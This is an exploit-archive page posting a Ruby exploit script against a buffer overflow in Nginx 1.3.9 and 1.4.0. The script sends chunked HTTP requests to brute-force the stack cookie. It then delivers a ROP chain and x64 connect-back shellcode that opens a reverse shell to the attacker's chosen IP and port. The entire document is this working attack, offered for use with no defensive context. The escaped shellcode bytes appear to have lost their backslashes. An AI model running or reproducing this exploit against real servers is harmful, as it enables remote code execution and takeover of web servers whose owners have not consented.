Home / exploits Nginx 1.3.9 / 1.4.0 Buffer Overflow
Posted on 19 July 2013
# encoding: ASCII abort("#{$0} host port") if ARGV.length < 2 require 'ronin' $count = 0 # rop address taken from nginx binary (find in the repo) poprdi = 0x00427006 poprsi = 0x0043a00e poprdx = 0x0041b8fa poprax = 0x00442c80 mmap64 = 0x4029b0 mmapgot = 0x67f290 mmapaddr = 0x00410000 rsito_rax_ = 0x0042afcb add_rdi_al = 0x00462de4 # change mmap64 to mprotect, easier to find gadget $ropchain = [ poprax, 0x60, poprdi, mmapgot, add_rdi_al, poprax, mmapgot, poprdx, 0x7, poprsi, 0x1000, poprdi, mmapaddr, mmap64 ].pack("Q*") #connect back shellcode x64 ip = "0.0.0.0" port = 4000 sip = IPAddr::new(ip).to_i.pack(:int_be) sport = port.pack(:int16_be) $shellcode = "x48x31xd2x48x31xc0xb2x02x48x89xd7xb2x01x48x89xd6xb2x06xb0x29x0fx05x48x89xc7x48x31xc0x50xbb#{sip}x48xc1xe3x20x66xb8#{sport}xc1xe0x10xb0x02x48x09xd8x50x48x89xe6x48x31xd2xb2x10x48x31xc0xb0x2ax0fx05x48x31xf6x48x31xc0xb0x21x0fx05x48x31xc0xb0x21x48xffxc6x0fx05x48x31xc0xb0x21x48xffxc6x0fx05x48x31xf6x48x31xd2x52x48xbfx2fx2fx62x69x6ex2fx73x68x57x48x89xe7x48x31xc0xb0x3bx0fx05xc3" $shellcode << ("x90" * (8 - ($shellcode.length % 8))) # copy the shellcode to mmapaddr (0...$shellcode.length).step(8) { |p| code = $shellcode[p,8].unpack(:uint64)[0] chain = [poprax, mmapaddr + p, poprsi, code, rsito_rax_].pack("Q*") $ropchain << chain } # finally jump to it $ropchain << mmapaddr.pack(:uint64) # payload for crash $payload = [ "GET / HTTP/1.1 ", "Host: 1337.vnsec.net ", "Accept: */* ", "Transfer-Encoding: chunked " ].join $chunk = "f"*(1024-$payload.length-8) + "0f0f0f0f" $payload << $chunk def crash(cookie, cookie_test=true) data = '' payload = $payload.dup payload << ["A"*(4096+8), cookie].join payload << ["C"*24, $ropchain].join unless cookie_test 5.times do tcp_session(ARGV[0],ARGV[1].to_i) do |s| $count += 1 s.send(payload, 0) data = s.recv(10) end return true if data.strip.empty? end return false end s = [0] if ARGV.length < 3 # test cookie while s.length < 8 print_info "searching for byte: #{s.length}" (1..255).each do |c| print " #{c}" s1 = s + [c] unless crash(s1.pack("c*")) s << c puts break end end end s = s.pack("c*") else # try it ? s = (ARGV[2]).gsub("\x","").hex_decode if crash(s) print_error "Wrong cookie" exit end end print_info "Found cookie: #{s.hex_escape} #{s.length}" print_info "PRESS ENTER TO GIVE THE SHIT TO THE HOLE AT #{ip} #{port}" $stdin.readline crash(s, false) print_info "#{$count} connections"
